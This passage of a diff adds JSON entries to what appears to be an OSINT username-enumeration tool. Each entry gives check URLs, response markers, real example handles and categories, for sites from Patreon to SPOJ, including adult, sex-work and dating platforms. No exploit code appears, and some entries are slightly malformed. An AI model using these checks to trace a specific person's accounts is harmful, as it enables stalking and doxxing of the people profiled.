"m_string": "", + "m_code": 302, + "known": [ + "thjuland", + "Pedro0703", + "Hydropioneer" + ], + "cat": "health" + }, + { + "name": "Patreon", + "uri_check": "https://www.patreon.com/{account}", + "e_code": 200, + "e_string": "full_name\":", + "m_string": "errorCode\": 404,", + "m_code": 404, + "known": [ + "mubix", + "doughboys" + ], + "cat": "finance" + }, + { + "name": "Patriots Win", + "uri_check": "https://patriots.win/u/{account}/", + "e_code": 200, + "e_string": "nav-user active register", + "m_string": "An error occurred", + "m_code": 500, + "known": [ + "r3deleven", + "MemeFactory" + ], + "cat": "political" + }, + { + "name": "Patronite", + "uri_check": "https://patronite.pl/{account}", + "e_code": 200, + "e_string": "Zostań Patronem", + "m_string": "Nie znaleźliśmy strony której szukasz.", + "m_code": 404, + "known": [ + "radio357", + "radionowyswiat" + ], + "cat": "finance" + }, + { + "name": "Paypal", + "uri_check": "https://www.paypal.com/paypalme/{account}", + "e_code": 200, + "e_string": "userInfo", + "m_string": "PayPal.MeFollowers", + "m_string": "Sorry, this page doesn’t exist", + "m_code": 404, + "known": [ + "john", + "test" + ], + "cat": "video" + }, + { + "name": "Pewex", + "uri_check": "https://retro.pewex.pl/user/{account}", + "e_code": 200, + "e_string": "Zamieszcza eksponaty od:", + "m_string": "Nie znaleziono użytkownika o podanym loginie.", + "m_code": 200, + "known": [ + "test", + "ania" + ], + "cat": "misc" + }, + { + "name": "Picsart", + "uri_check": "https://api.picsart.com/users/show/{account}.json", + "uri_pretty": "https://picsart.com/u/{account}", + "e_code": 200, + "e_string": "\"status\":\"success\"", + "m_string": "\"status\":\"error\"", + "m_code": 200, + "known": [ + "john", + "john404" + ], + "cat": "art" + }, + { + "name": "Piekielni", + "uri_check": "https://piekielni.pl/user/{account}", + "e_code": 200, + "e_string": "Zamieszcza historie od:", + "m_string": "Nie znaleziono użytkownika o podanym loginie.", + "m_code": 200, + "known": [ + "test", + "janek" + ], + "cat": "misc" + }, + { + "name": "Pikabu", + "uri_check": "https://pikabu.ru/ajax.php", + "uri_pretty": "https://pikabu.ru/@{account}", + "post_body": "route=signup/check-username&username={account}", + "headers": { + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + }, + "e_code": 200, + "e_string": "\"result\":false", + "m_string": "\"result\":true", + "m_code": 200, + "known": [ + "igor01", + "serguei" + ], + "cat": "social", + "protection": [ + "ddos-guard" + ] + }, + { + "name": "Pillowfort", + "uri_check": "https://www.pillowfort.social/{account}/json/?p=1", + "uri_pretty": "https://www.pillowfort.social/{account}", + "e_code": 200, + "e_string": "\"posts\":", + "m_string": "(404)", + "m_code": 404, + "known": [ + "MissMoonified", + "lunasdestiny" + ], + "cat": "social" + }, + { + "name": "PinkBike", + "uri_check": "https://www.pinkbike.com/u/{account}/", + "e_code": 200, + "e_string": "on Pinkbike", + "m_string": "I couldn't find the page you were looking for", + "m_code": 404, + "known": [ + "whistlermountainbikepark", + "paulhanson" + ], + "cat": "hobby" + }, + { + "name": "Pinterest", + "uri_check": "https://www.pinterest.com/{account}/", + "e_code": 200, + "e_string": " - Profile | Pinterest", + "m_string": "id=\"home-main-title", + "m_code": 301, + "known": [ + "test123", + "frickcollection" + ], + "cat": "social" + }, + { + "name": "pixelfed.social", + "uri_check": "https://pixelfed.social/{account}", + "e_code": 200, + "e_string": "on pixelfed", + "m_string": "pixelfed", + "m_code": 404, + "known": [ + "sarah", + "john" + ], + "cat": "social" + }, + { + "name": "Playstation Network", + "uri_check": "https://psnprofiles.com/xhr/search/users?q={account}", + "uri_pretty": "https://psnprofiles.com/{account}", + "e_code": 200, + "e_string": "
", + "m_string": "We couldn't find anything ", + "m_code": 200, + "known": [ + "SlimShaggy18", + "ikemenzi" + ], + "cat": "gaming" + }, + { + "name": "Plink", + "uri_check": "https://plink.gg/user/{account}", + "e_code": 200, + "e_string": "class=\"user-page\"", + "m_string": "PLINK - 404 Page not found", + "m_code": 404, + "known": [ + "CryptonianTV", + "xacstonyjx" + ], + "cat": "gaming" + }, + { + "name": "Plurk", + "uri_check": "https://www.plurk.com/{account}", + "e_code": 200, + "e_string": "Profile views", + "m_string": "Register your plurk account", + "m_code": 200, + "known": [ + "test" + ], + "cat": "social" + }, + { + "name": "Poe.com", + "uri_check": "https://poe.com/profile/{account}", + "e_code": 200, + "e_string": "\"__isNode\":\"PoeUser\"", + "m_string": "\"user\":null", + "m_code": 200, + "known": [ + "spdustin", + "PromptCase" + ], + "cat": "tech" + }, + { + "name": "Pokec", + "uri_check": "https://pokec.azet.sk/{account}", + "e_code": 200, + "e_string": "idReportedUser", + "m_string": "Neexistujúci používateľ", + "m_code": 404, + "known": [ + "tobias", + "brahim1" + ], + "cat": "social" + }, + { + "name": "pokemonshowdown", + "uri_check": "https://pokemonshowdown.com/users/{account}", + "e_code": 200, + "e_string": "Official ladder", + "m_string": " (Unregistered)", + "m_code": 404, + "known": [ + "red", + "blue" + ], + "cat": "gaming" + }, + { + "name": "Pokerstrategy", + "uri_check": "http://www.pokerstrategy.net/user/{account}/profile/", + "e_code": 200, + "e_string": "User profile for", + "m_string": "Sorry, the requested page couldn't be found!", + "m_code": 404, + "known": [ + "john", + "bob" + ], + "cat": "gaming" + }, + { + "name": "Polarsteps", + "uri_check": "https://api.polarsteps.com/users/byusername/{account}", + "uri_pretty": "https://www.polarsteps.com/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "404 Not Found", + "m_code": 404, + "known": [ + "EngelBos", + "GunnarEndlich" + ], + "cat": "hobby" + }, + { + "name": "Polchat.pl", + "uri_check": "https://polczat.pl/forum/profile/{account}/", + "e_code": 200, + "e_string": "Historia wpisów", + "m_string": "Wybrany użytkownik nie istnieje.", + "m_code": 200, + "known": [ + "admin", + "Lesik" + ], + "cat": "social" + }, + { + "name": "policja2009", + "uri_check": "http://www.policja2009.fora.pl/search.php?search_author={account}", + "e_code": 200, + "e_string": "Autor", + "m_string": "Nie znaleziono tematów ani postów pasujących do Twoich kryteriów", + "m_code": 200, + "known": [ + "Pvwel", + "janek" + ], + "cat": "misc" + }, + { + "name": "Poll Everywhere", + "uri_check": "https://pollev.com/proxy/api/users/{account}", + "uri_pretty": "https://pollev.com/{account}", + "e_code": 200, + "e_string": "name", + "m_string": "ResourceNotFound", + "m_code": 404, + "known": [ + "josh", + "jsmith" + ], + "cat": "tech" + }, + { + "name": "polygon", + "uri_check": "https://www.polygon.com/users/{account}", + "e_code": 200, + "e_string": "- Polygon", + "m_string": "404 Not found", + "m_code": 404, + "known": [ + "nicodeyo", + "Nicole_Clark" + ], + "cat": "gaming" + }, + { + "name": "popl", + "uri_check": "https://poplme.co/{account}", + "e_code": 200, + "e_string": "MuiTypography-root MuiTypography-body1 css-kj7pvm", + "m_string": "Profile not found", + "m_code": 200, + "known": [ + "rpelite", + "Ee0af3d822", + "ashleymetzger" + ], + "cat": "business" + }, + { + "name": "Pornhub Porn Stars", + "uri_check": "https://www.pornhub.com/pornstar/{account}", + "e_code": 200, + "e_string": "Pornstar Rank", + "m_string": "", + "m_code": 301, + "known": [ + "riley-reid", + "alex-adams" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Pornhub Users", + "uri_check": "https://www.pornhub.com/users/{account}", + "e_code": 200, + "e_string": "s Profile - Pornhub.com", + "m_string": "Error Page Not Found", + "m_code": 404, + "known": [ + "test123" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Poshmark", + "uri_check": "https://poshmark.com/closet/{account}", + "e_code": 200, + "e_string": " is using Poshmark to sell items from their closet.", + "m_string": "Page not found - Poshmark", + "m_code": 404, + "known": [ + "alice", + "bob" + ], + "cat": "shopping" + }, + { + "name": "postcrossing", + "uri_check": "https://www.postcrossing.com/user/{account}", + "e_code": 200, + "e_string": ", from", + "m_string": "- Postcrossing", + "m_code": 404, + "known": [ + "Vladimir", + "olga3" + ], + "cat": "social" + }, + { + "name": "Poweredbygay.social (Mastodon Instance)", + "uri_check": "https://poweredbygay.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://poweredbygay.social/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "aggiepm", + "eplumley1976" + ], + "cat": "social" + }, + { + "name": "Pr0gramm", + "uri_check": "https://pr0gramm.com/api/profile/info?name={account}", + "uri_pretty": "https://pr0gramm.com/user/{account}", + "e_code": 200, + "e_string": "\"user\":", + "m_string": "\"code\":404", + "m_code": 404, + "known": [ + "kaizernero", + "Giga1337" + ], + "cat": "social", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Pravda.me", + "uri_check": "https://pravda.me/@{account}", + "e_code": 200, + "e_string": "Российская социальная сеть (by mastodon)", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "tass", + "rt_russian" + ], + "cat": "social" + }, + { + "name": "Privacy Guides", + "uri_check": "https://discuss.privacyguides.net/u/{account}.json", + "uri_pretty": "https://discuss.privacyguides.net/u/{account}/summary", + "e_code": 200, + "e_string": "assign_path", + "m_string": "The requested URL or resource could not be found.", + "m_code": 404, + "known": [ + "jonah", + "dngray" + ], + "cat": "tech" + }, + { + "name": "Producthunt", + "uri_check": "https://www.producthunt.com/@{account}", + "e_code": 200, + "e_string": "s profile on Product Hunt", + "m_string": "Product Hunt - All newest Products", + "m_code": 404, + "known": [ + "alex", + "jack" + ], + "cat": "business" + }, + { + "name": "PromoDJ", + "uri_check": "https://promodj.com/ajax/register.html?lang=en", + "uri_pretty": "https://promodj.com/{account}", + "post_body": "kind=nick&value={account}", + "headers": { + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + }, + "e_code": 200, + "e_string": "Address you entered is already taken", + "m_string": "The address is free, it's great;)", + "m_code": 200, + "known": [ + "sekoy", + "vovasmallny" + ], + "cat": "music" + }, + { + "name": "Pronouns.Page", + "uri_check": "https://pronouns.page/api/profile/get/{account}?version=2", + "uri_pretty": "https://pronouns.page/@{account}", + "e_code": 200, + "e_string": "username", + "m_string": "\"profiles\": {}", + "m_code": 304, + "known": [ + "cannabis_cervi", + "user" + ], + "cat": "social" + }, + { + "name": "Pronouny", + "uri_check": "https://pronouny.xyz/api/users/profile/username/{account}", + "uri_pretty": "https://pronouny.xyz/users/{account}", + "e_code": 200, + "e_string": "\"username\":", + "m_string": "That user doesn't exist", + "m_code": 400, + "known": [ + "donna", + "honey" + ], + "cat": "social" + }, + { + "name": "Prose", + "uri_check": "https://prose.astral.camp/{account}/", + "e_code": 200, + "e_string": "blog-title", + "m_string": "Are you sure it was ever here?", + "m_code": 404, + "known": [ + "endeavorance", + "overthinkification" + ], + "cat": "blog" + }, + { + "name": "prv.pl", + "uri_check": "https://www.prv.pl/osoba/{account}", + "e_code": 200, + "e_string": "LOGIN", + "m_string": "Użytkownik nie istnieje.", + "m_code": 200, + "known": [ + "test", + "test2" + ], + "cat": "tech" + }, + { + "name": "Public.com", + "uri_check": "https://public.com/@{account}", + "e_code": 200, + "e_string": "\"publicId\":", + "m_string": "<title>404 - Page Not Found", + "m_code": 404, + "known": [ + "igor1", + "david2" + ], + "cat": "finance" + }, + { + "name": "pypi", + "uri_check": "https://pypi.org/user/{account}/", + "e_code": 200, + "e_string": "Profile of", + "m_string": "Page Not Found (404) · PyPI", + "m_code": 404, + "known": [ + "dev", + "pydude" + ], + "cat": "coding" + }, + { + "name": "QUEER PL", + "uri_check": "https://queer.pl/user/{account}", + "e_code": 200, + "e_string": "Ostatnio on-line", + "m_string": "Strona nie została znaleziona", + "m_code": 404, + "known": [ + "claudii", + "kowalski" + ], + "cat": "social" + }, + { + "name": "quitter.pl", + "uri_check": "https://quitter.pl/api/v1/accounts/{account}", + "uri_pretty": "https://quitter.pl/users/{account}", + "e_code": 200, + "e_string": "avatar_static", + "m_string": "\"error\":", + "m_code": 404, + "known": [ + "smok", + "mik" + ], + "cat": "social" + }, + { + "name": "Quizlet", + "uri_check": "https://quizlet.com/webapi/3.2/users/check-username?username={account}", + "uri_pretty": "https://quizlet.com/user/{account}/sets", + "e_code": 200, + "e_string": "\"identifier\":\"username_is_taken\"", + "m_string": "\"success\":true", + "m_code": 200, + "known": [ + "Rita426", + "Muyao_531" + ], + "cat": "hobby", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Quora", + "uri_check": "https://www.quora.com/profile/{account}", + "e_code": 200, + "e_string": "Credentials", + "m_string": "Page Not Found", + "m_code": 301, + "known": [ + "John-Galan-5", + "Alex-Clay" + ], + "cat": "social" + }, + { + "name": "Raddle.me", + "uri_check": "https://raddle.me/user/{account}", + "e_code": 200, + "e_string": "sidebar__title", + "m_string": "404 Not Found", + "m_code": 404, + "known": [ + "zephyr", + "Archaplain" + ], + "cat": "social" + }, + { + "name": "RaidForums - Archive", + "uri_check": "https://rf-archive.com/users.php?s_tag={account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "[]", + "m_code": 200, + "known": [ + "pompompurin", + "DexterM1" + ], + "cat": "archived" + }, + { + "name": "Rant.li", + "uri_check": "https://rant.li/{account}/", + "e_code": 200, + "e_string": "blog-title", + "m_string": "Are you sure it was ever here?", + "m_code": 404, + "known": [ + "baretri", + "arinbasu" + ], + "cat": "blog" + }, + { + "name": "Rarible", + "uri_check": "https://rarible.com/marketplace/api/v4/urls/{account}", + "uri_pretty": "https://rarible.com/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"success\":false", + "m_code": 404, + "known": [ + "lokikot", + "vintagemozart" + ], + "cat": "tech" + }, + { + "name": "RblxTrade", + "uri_check": "https://rblx.trade/api/v1/user/get-by-username?username={account}", + "uri_pretty": "https://rblx.trade/p/{account}", + "e_code": 200, + "e_string": "\"userId\":", + "m_string": "\"success\":false", + "m_code": 400, + "known": [ + "webbreacher", + "SonOfSevenless" + ], + "cat": "gaming" + }, + { + "name": "redbubble", + "uri_check": "https://www.redbubble.com/people/{account}/shop", + "e_code": 200, + "e_string": "Shop | Redbubble", + "m_string": "This is a lost cause.", + "m_code": 404, + "known": [ + "john", + "blue" + ], + "cat": "shopping" + }, + { + "name": "Reddit", + "uri_check": "https://www.reddit.com/user/{account}/about/.json", + "uri_pretty": "https://www.reddit.com/user/{account}", + "e_code": 200, + "e_string": "total_karma", + "m_string": "Not Found", + "m_code": 404, + "known": [ + "koavf", + "alabasterheart" + ], + "cat": "social" + }, + { + "name": "REDGIFS", + "uri_check": "https://api.redgifs.com/v1/users/{account}", + "uri_pretty": "https://www.redgifs.com/users/{account}", + "e_code": 200, + "e_string": "followers", + "m_string": "user account not found for ", + "m_code": 404, + "known": [ + "alexbreecooper", + "Jose-Roberto-Rasi" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Refsheet", + "uri_check": "https://refsheet.net/{account}", + "e_code": 200, + "e_string": "og:title", + "m_string": "That's unfortunate. Where did it go?", + "m_code": 404, + "known": [ + "razzyaurealis", + "saki" + ], + "cat": "hobby" + }, + { + "name": "Replit", + "uri_check": "https://replit.com/@{account}", + "e_code": 200, + "e_string": "\"__typename\":\"User\"", + "m_string": "\"statusCode\":404", + "m_code": 404, + "known": [ + "wuweijie", + "alansmithee" + ], + "cat": "coding" + }, + { + "name": "Researchgate", + "uri_check": "https://www.researchgate.net/profile/{account}", + "e_code": 200, + "e_string": " | ", + "m_string": "20+ million researchers on ResearchGate", + "m_code": 301, + "known": [ + "Tafara-Mwareya", + "Jose-Roberto-Rasi" + ], + "cat": "hobby" + }, + { + "name": "resumes_actorsaccess", + "uri_check": "https://resumes.actorsaccess.com/{account}", + "e_code": 200, + "e_string": "- Resume | Actors Access", + "m_string": "File was not found on this SERVER", + "m_code": 200, + "known": [ + "veronicashelby", + "sarahstipe" + ], + "cat": "social" + }, + { + "name": "Revolut", + "uri_check": "https://revolut.me/api/web-profile/{account}", + "uri_pretty": "https://revolut.me/{account}", + "e_code": 200, + "e_string": "\"firstName\"", + "m_string": "\"User not found\"", + "m_code": 404, + "known": [ + "theaswdc", + "honey" + ], + "cat": "finance" + }, + { + "name": "risk.ru", + "uri_check": "https://risk.ru/people/{account}", + "e_code": 200, + "e_string": "— Люди — Risk.ru", + "m_string": "404 — Risk.ru", + "m_code": 404, + "known": [ + "igor1", + "olga" + ], + "cat": "hobby" + }, + { + "name": "Roblox", + "uri_check": "https://auth.roblox.com/v1/usernames/validate?username={account}&birthday=2019-12-31T23:00:00.000Z", + "uri_pretty": "https://www.roblox.com/search/users?keyword={account}", + "e_code": 200, + "e_string": "Username is already in use", + "m_string": "Username is valid", + "m_code": 200, + "known": [ + "LeetPawn", + "elephant459" + ], + "cat": "gaming" + }, + { + "name": "RoutineHub", + "uri_check": "https://routinehub.co/user/{account}", + "e_code": 200, + "e_string": "Downloads: ", + "m_string": "A community for Apple Shortcuts", + "m_code": 200, + "known": [ + "zachary7829", + "JonathanSetzer" + ], + "cat": "social" + }, + { + "name": "rsi", + "uri_check": "https://robertsspaceindustries.com/citizens/{account}", + "e_code": 200, + "e_string": "CITIZEN DOSSIER", + "m_string": "404 NAVIGATING UNCHARTED TERRITORY", + "m_code": 404, + "known": [ + "alpHackeronee", + "Quantum_Physicist" + ], + "cat": "gaming" + }, + { + "name": "ru_123rf", + "uri_check": "https://ru.123rf.com/profile_{account}", + "e_code": 200, + "e_string": "userID", + "m_string": "Фотобанк 123RF - Стоковые Фото, Векторы, Видеоролики. Подписка на Фото. Royalty Free контент<", + "m_code": 302, + "known": [ + "ruslan", + "olga" + ], + "cat": "hobby" + }, + { + "name": "RubyGems.org", + "uri_check": "https://rubygems.org/profiles/{account}", + "e_code": 200, + "e_string": "class=\"profile__header\"", + "m_string": "alt=\"404 error\"", + "m_code": 404, + "known": [ + "awscloud", + "bsm" + ], + "cat": "coding" + }, + { + "name": "RumbleChannel", + "uri_check": "https://rumble.com/c/{account}", + "e_code": 200, + "e_string": "href=https://rumble.com/c/", + "m_string": "404 error, this page does not exist", + "m_code": 404, + "known": [ + "SaltyCracker", + "GGreenwald" + ], + "cat": "political" + }, + { + "name": "RumbleUser", + "uri_check": "https://rumble.com/user/{account}", + "e_code": 200, + "e_string": "href=https://rumble.com/user/", + "m_string": "404 error, this page does not exist", + "m_code": 404, + "known": [ + "SimonParkes", + "djmrmusic" + ], + "cat": "political" + }, + { + "name": "RuneScape", + "uri_check": "https://apps.runescape.com/runemetrics/profile/profile?user={account}", + "uri_pretty": "https://apps.runescape.com/runemetrics/app/overview/player/{account}", + "e_code": 200, + "e_string": "\"name\":", + "m_string": "\"error\":\"NO_PROFILE\"", + "m_code": 200, + "known": [ + "Thomas", + "Wahisietel" + ], + "cat": "hobby" + }, + { + "name": "RuTracker.org", + "uri_check": "https://rutracker.org/forum/profile.php?mode=viewprofile&u={account}", + "e_code": 200, + "e_string": "Профиль пользователя", + "m_string": "Пользователь не найден", + "m_code": 200, + "known": [ + "Rutracker", + "Feo156" + ], + "cat": "misc" + }, + { + "name": "ruVoIP.net", + "uri_check": "https://ruvoip.net/members/{account}/", + "e_code": 200, + "e_string": "id=\"user-xprofile\"", + "m_string": "Error 404 - Not Found", + "m_code": 200, + "known": [ + "dominique", + "demon" + ], + "cat": "tech" + }, + { + "name": "Salon24", + "uri_check": "https://www.salon24.pl/u/{account}/", + "e_code": 200, + "e_string": "<span>Obserwujących</span>", + "m_string": "<title>Salon24 - Blogi, wiadomości, opinie i komentarze", + "m_code": 301, + "known": [ + "matuzalem", + "niewiarygodne" + ], + "cat": "blog" + }, + { + "name": "Scammer.info", + "uri_check": "https://scammer.info/u/{account}.json", + "uri_pretty": "https://scammer.info/u/{account}", + "e_code": 200, + "e_string": "avatar_template", + "m_string": "The requested URL or resource could not be found", + "m_code": 404, + "known": [ + "AngelFat", + "lecter" + ], + "cat": "misc" + }, + { + "name": "Scored", + "uri_check": "https://scored.co/api/v2/user/about.json?user={account}", + "uri_pretty": "https://scored.co/u/{account}", + "e_code": 200, + "e_string": "\"status\":true", + "m_string": "\"status\":false", + "m_code": 200, + "known": [ + "LowEnergyFaggot", + "libsaremental" + ], + "cat": "social" + }, + { + "name": "ScoutWiki", + "uri_check": "https://en.scoutwiki.org/User:{account}", + "e_code": 200, + "e_string": "NewPP limit report", + "m_string": "is not registered", + "m_code": 301, + "known": [ + "Mlh_nl", + "Benjism89" + ], + "cat": "social" + }, + { + "name": "Scratch", + "uri_check": "https://api.scratch.mit.edu/accounts/checkusername/{account}/", + "uri_pretty": "https://scratch.mit.edu/users/{account}/", + "e_code": 200, + "e_string": "\"msg\":\"username exists\"", + "m_string": "\"msg\":\"valid username\"", + "m_code": 200, + "known": [ + "griffpatch", + "-Zaire-" + ], + "cat": "coding" + }, + { + "name": "secure_donation", + "uri_check": "https://secure.donationpay.org/{account}/", + "e_code": 200, + "e_string": "| DonationPay", + "m_string": "secure.donationpay.org", + "m_code": 404, + "known": [ + "rareimpact", + "safc" + ], + "cat": "finance" + }, + { + "name": "sedisp@ce", + "uri_check": "https://sedispace.com/@{account}", + "e_code": 200, + "e_string": "Membre depuis -", + "m_string": "- Page non trouvée!", + "m_code": 302, + "known": [ + "mamadou", + "konate" + ], + "cat": "social" + }, + { + "name": "Seneporno", + "uri_check": "https://seneporno.com/user/{account}", + "e_code": 200, + "e_string": "Dernier Login", + "m_string": "Unexpected error! Please contact us and tell us more how you got to this page!", + "m_code": 301, + "known": [ + "Kalsobbc", + "Boymariste" + ], + "cat": "xx NSFW xx" + }, + { + "name": "sentimente", + "uri_check": "https://www.sentimente.com/amp/{account}.html", + "e_code": 200, + "e_string": "Chat online with", + "m_string": "HTTP Error code: 404. Resource not found", + "m_code": 404, + "known": [ + "david01", + "brahim01" + ], + "cat": "dating" + }, + { + "name": "SEOClerks", + "uri_check": "https://www.seoclerks.com/user/{account}", + "e_code": 200, + "e_string": "
", + "m_string": "SEO Marketplace", + "m_code": 302, + "known": [ + "Vfmseo", + "gokudadon" + ], + "cat": "social" + }, + { + "name": "setlist.fm", + "uri_check": "https://www.setlist.fm/user/{account}", + "e_code": 200, + "e_string": "s setlist.fm | setlist.fm", + "m_string": "Sorry, the page you requested doesn't exist", + "m_code": 404, + "known": [ + "bendobrin", + "michi" + ], + "cat": "music" + }, + { + "name": "Sexworker", + "uri_check": "https://sexworker.com/api/profile/{account}", + "uri_pretty": "https://sexworker.com/{account}", + "e_code": 200, + "e_string": "profilePictureUrl", + "m_string": "This user does not exist.", + "m_code": 404, + "known": [ + "sakii_nightshade", + "annajean2319" + ], + "cat": "xx NSFW xx" + }, + { + "name": "SFD", + "uri_check": "https://www.sfd.pl/profile/{account}", + "e_code": 200, + "e_string": "Tematy użytkownika", + "m_string": "Brak aktywnego profilu na forum", + "m_code": 404, + "known": [ + "janek", + "admin" + ], + "cat": "health" + }, + { + "name": "Shesfreaky", + "uri_check": "https://www.shesfreaky.com/profile/{account}/", + "e_code": 200, + "e_string": "s Profile - ShesFreaky", + "m_string": "", + "m_code": 302, + "known": [ + "tata23", + "fitzsta" + ], + "cat": "xx NSFW xx" + }, + { + "name": "shopify", + "uri_check": "https://{account}.myshopify.com", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "home", + "m_string": "Sorry, this shop is currently unavailable.", + "m_code": 404, + "known": [ + "john", + "daniel" + ], + "cat": "shopping" + }, + { + "name": "Showup.tv", + "uri_check": "https://showup.tv/profile/{account}", + "headers": { + "Cookie": "accept_rules=true;" + }, + "e_code": 200, + "e_string": "O mnie", + "m_string": "Darmowe", + "m_code": 404, + "known": [ + "LunaVee", + "Jane_Frou" + ], + "cat": "xx NSFW xx" + }, + { + "name": "shutterstock", + "uri_check": "https://www.shutterstock.com/g/{account}", + "e_code": 200, + "e_string": "| Shutterstock", + "m_string": "Well, this is unexpected...", + "m_code": 404, + "known": [ + "john", + "bob" + ], + "cat": "images" + }, + { + "name": "SimplePlanes", + "uri_check": "https://www.simpleplanes.com/u/{account}", + "e_code": 200, + "e_string": "<h5>joined", + "m_string": "<title>SimplePlanes Airplanes", + "m_code": 302, + "known": [ + "realSavageMan", + "Jundroo", + "john" + ], + "cat": "gaming" + }, + { + "name": "skeb", + "uri_check": "https://skeb.jp/@{account}", + "e_code": 200, + "e_string": ") | Skeb", + "m_string": "Skeb - Request Box", + "m_code": 503, + "known": [ + "eipuru_", + "sime064" + ], + "cat": "art" + }, + { + "name": "SlackHoles", + "uri_check": "https://slackholes.com/actor/{account}/", + "e_code": 200, + "e_string": "Pussy and Ass Sizes", + "m_string": "It looks like nothing was found at this location", + "m_code": 404, + "known": [ + "alexbreecooper", + "roxy-raye" + ], + "cat": "xx NSFW xx" + }, + { + "name": "slant", + "uri_check": "https://www.slant.co/users/{account}", + "e_code": 200, + "e_string": "s Profile - Slant", + "m_string": "404 - Page Not Found - Slant", + "m_code": 404, + "known": [ + "bob", + "john" + ], + "cat": "shopping" + }, + { + "name": "slides", + "uri_check": "https://slides.com/{account}", + "e_code": 200, + "e_string": "Presentations by", + "m_string": "You may have mistyped the address", + "m_code": 404, + "known": [ + "arunthomas" + ], + "cat": "social" + }, + { + "name": "Slideshare", + "uri_check": "https://www.slideshare.net/{account}", + "e_code": 200, + "e_string": "data-testid=\"report-button\"", + "m_string": "id=\"username-available\"", + "m_code": 200, + "known": [ + "rebeccaskeeles", + "john" + ], + "cat": "social" + }, + { + "name": "SmashRun", + "uri_check": "https://smashrun.com/{account}/", + "e_code": 200, + "e_string": "Miles run overall", + "m_string": "no Smashrunner with the username", + "m_code": 404, + "known": [ + "john.young" + ], + "cat": "health" + }, + { + "name": "smelsy", + "uri_check": "https://www.smelsy.com/profile/{account}", + "e_code": 200, + "e_string": "Smelsy -", + "m_string": "Server Error", + "m_code": 500, + "known": [ + "mohamed01", + "ahmed" + ], + "cat": "misc" + }, + { + "name": "SmugMug", + "uri_check": "https://{account}.smugmug.com", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "schema.org/Person", + "m_string": "schema.org/Thing", + "m_code": 404, + "known": [ + "wow", + "jill" + ], + "cat": "images" + }, + { + "name": "smule", + "uri_check": "https://www.smule.com/api/profile/?handle={account}", + "uri_pretty": "https://www.smule.com/{account}", + "e_code": 200, + "e_string": "account_id", + "m_string": "code\": 65", + "m_code": 400, + "known": [ + "cgrrose", + "John___Anish" + ], + "cat": "music" + }, + { + "name": "Snapchat", + "uri_check": "https://www.snapchat.com/@{account}", + "e_code": 200, + "e_string": "is on Snapchat!", + "m_string": "NOT_FOUND", + "m_code": 200, + "known": [ + "djkhaled305", + "mileycyrus" + ], + "cat": "social" + }, + { + "name": "Snipfeed", + "uri_check": "https://snipfeed.co/{account}", + "e_code": 200, + "e_string": "creatorLink", + "m_string": "Oops, you hit a dead end!", + "m_code": 404, + "known": [ + "mycherrycrush", + "honey" + ], + "cat": "misc" + }, + { + "name": "soc.citizen4.eu", + "uri_check": "https://soc.citizen4.eu/profile/{account}/profile", + "e_code": 200, + "e_string": "@soc.citizen4.eu", + "m_string": "Nie znaleziono", + "m_code": 404, + "known": [ + "admin", + "miklo" + ], + "cat": "social" + }, + { + "name": "social.bund.de", + "uri_check": "https://social.bund.de/@{account}", + "e_code": 200, + "e_string": "@social.bund.de) - social.bund.de", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "bfdi", + "bmdv" + ], + "cat": "social" + }, + { + "name": "social_msdn", + "uri_check": "https://social.msdn.microsoft.com/profile/{account}", + "e_code": 200, + "e_string": "Member Since", + "m_string": "The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.", + "m_code": 404, + "known": [ + "edoardo", + "microsoftfan" + ], + "cat": "social" + }, + { + "name": "sofurry", + "uri_check": "https://{account}.sofurry.com", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "'s Profile | SoFurry", + "m_string": "SoFurry - Error | SoFurry", + "m_code": 404, + "known": [ + "reeden-landshey", + "tigerzero" + ], + "cat": "art" + }, + { + "name": "solo.to", + "uri_check": "https://solo.to/{account}", + "e_code": 200, + "e_string": "create your own page", + "m_string": "The page you're looking for isn't here.", + "m_code": 404, + "known": [ + "saruei", + "yui" + ], + "cat": "social" + }, + { + "name": "SoundCloud", + "uri_check": "https://soundcloud.com/{account}", + "e_code": 200, + "e_string": "SoundCloud", + "m_string": "sounds", + "m_code": 404, + "known": [ + "test123" + ], + "cat": "music" + }, + { + "name": "Soup", + "uri_check": "https://www.soup.io/author/{account}", + "e_code": 200, + "e_string": "Author at Soup.io", + "m_string": "Soup.io - News, Sports, Entertainment, TV, Tech, Gaming", + "m_code": 301, + "known": [ + "john", + "cristina" + ], + "cat": "blog" + }, + { + "name": "Sourceforge", + "uri_check": "https://sourceforge.net/user/username/{account}", + "uri_pretty": "https://sourceforge.net/u/{account}/profile", + "e_code": 400, + "e_string": "\"error\": \"invalid\"", + "m_string": "\"success\": 1", + "m_code": 200, + "known": [ + "alice", + "bob" + ], + "cat": "coding", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Speaker Deck", + "uri_check": "https://speakerdeck.com/{account}/", + "e_code": 200, + "e_string": ") on Speaker Deck", + "m_string": "User Not Found - Speaker Deck", + "m_code": 404, + "known": [ + "petecheslock", + "turbosmart45" + ], + "cat": "social" + }, + { + "name": "speedrun", + "uri_check": "https://www.speedrun.com/user/{account}/", + "e_code": 200, + "e_string": "Runs - ", + "m_string": "speedrun.com", + "m_code": 404, + "known": [ + "mike", + "chris" + ], + "cat": "gaming" + }, + { + "name": "SpiceWorks", + "uri_check": "https://community.spiceworks.com/people/{account}", + "e_code": 200, + "e_string": "Portfolio of IT Projects - Spiceworks", + "m_string": "Page Not Found", + "m_code": 404, + "known": [ + "spicerex", + "rod-it" + ], + "cat": "tech" + }, + { + "name": "SPOJ", + "uri_check": "https://www.spoj.com/users/{account}/", + "e_code": 200, + "e_string": "<h3>Activity over the last year</h3>", + "m_string": "<strong>Innopolis 